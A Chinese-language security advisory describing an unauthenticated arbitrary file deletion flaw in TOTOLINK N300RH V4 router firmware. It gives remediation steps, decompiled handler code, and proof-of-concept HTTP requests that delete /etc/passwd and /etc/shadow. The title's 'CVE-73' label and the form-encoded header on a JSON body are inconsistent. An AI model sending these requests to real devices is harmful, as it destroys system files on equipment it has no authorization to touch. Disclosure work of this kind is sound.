# TOTOLINK N300RH V4 路由器任意文件删除漏洞 (CVE-73) ## 漏洞概述 TOTOLINK N300RH V4 无线路由器的 Web 管理界面存在**外部文件名或路径控制漏洞 (CWE-73)**。该漏洞位于 `upgrade.so` 中的 `setUploadSetting` 处理程序。由于该处理程序未对攻击者控制的 `FileName` 参数进行任何验证、清理或路径限制,而是直接将其传递给 `unlink()` 函数,导致攻击者可以删除设备文件系统上的任意文件。 ## 影响范围 * **受影响产品**:TOTOLINK N300RH V4 无线路由器 * **受影响固件版本**: * V6.1c.1353_B20190305 * V6.1c.1390_B20191101 * **漏洞类型**:外部文件名或路径控制 (CWE-73) * **攻击向量**: * **入口点**:`POST /cgi-bin/cstcgi.cgi` * **处理程序选择器**:`topicurl=setUploadSetting` * **注入参数**:`FileName` * **认证要求**:无需认证 (Unauthenticated) * **用户交互**:无需交互 ## 修复方案 1. **验证和清理文件路径**:严格白名单 `FileName` 参数,仅允许字母数字字符和特定扩展名,拒绝路径遍历序列(如 `../`),并确保路径在允许的目录内。 2. **使用安全临时文件**:生成临时文件名时使用安全随机命名机制(如 `mkstemp()`),而不是接受用户提供的文件名。 3. **实施身份验证/授权**:确保敏感端点要求适当的身份验证,且用户具有执行请求文件操作的权限。 4. **最小权限原则**:Web 服务器应以最小权限运行,而不是以 root 权限运行,以限制路径遍历的影响。 ## POC 代码 ### 示例请求 (删除 `/etc/passwd`) ```http POST /cgi-bin/cstcgi.cgi HTTP/1.1 Host: User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Origin: http:// Connection: close Referer: http:///adm/status.asp Pragma: no-cache Cache-Control: no-cache Content-Length: 73 { "topicurl": "setting/setUploadSetting", "FileName": "/etc/passwd", "ContentLength": "100000" } ``` ### 路径遍历变体 (删除 `/etc/shadow`) ```json { "topicurl": "setting/setUploadSetting", "FileName": "/etc/shadow", "ContentLength": "100000" } ``` ### 漏洞代码片段 (反编译) ```c Var = (const char *)webGetVar(a2, "FileName", ""); v6 = (const char *)webGetVar(a2, "ContentLength", ""); ... v8 = strtol(v6, 0, 10); Object = cJSON_CreateObject(); if ( v8 >= 1000 ) { v15 = malloc(v8); memset(v15, 0, v8); v16 = fopen(Var, "r"); v18 = v16; if ( v16 ) { fread(v15, 1, v8, v16); v17 = fopen("/var/uploadsetting.tar.gz", "w"); if ( v17 ) { v18 = malloc(v8); memset(v18, 0, v8); memcpy(v18, v15, v8); fwrite(v18, 1, v8, v17); fclose(v17); free(v18); free(v15); sprintf(v21, "tar zxvf %s -C /", "/var/uploadsetting.tar.gz"); CstSystem(v21, 0); String = cJSON_CreateString("1"); cJSON_AddItemToObject(Object, "settingERR", String); fclose(v18); unlink(Var); // 漏洞点:直接删除用户指定的文件 v13 = cJSON_Print(Object); webSetCgiResponse(a1, a3, v13); goto LABEL_7; } } } else { v20 = cJSON_CreateString("MSG_config_error"); cJSON_AddItemToObject(Object, "settingERR", v20); } ```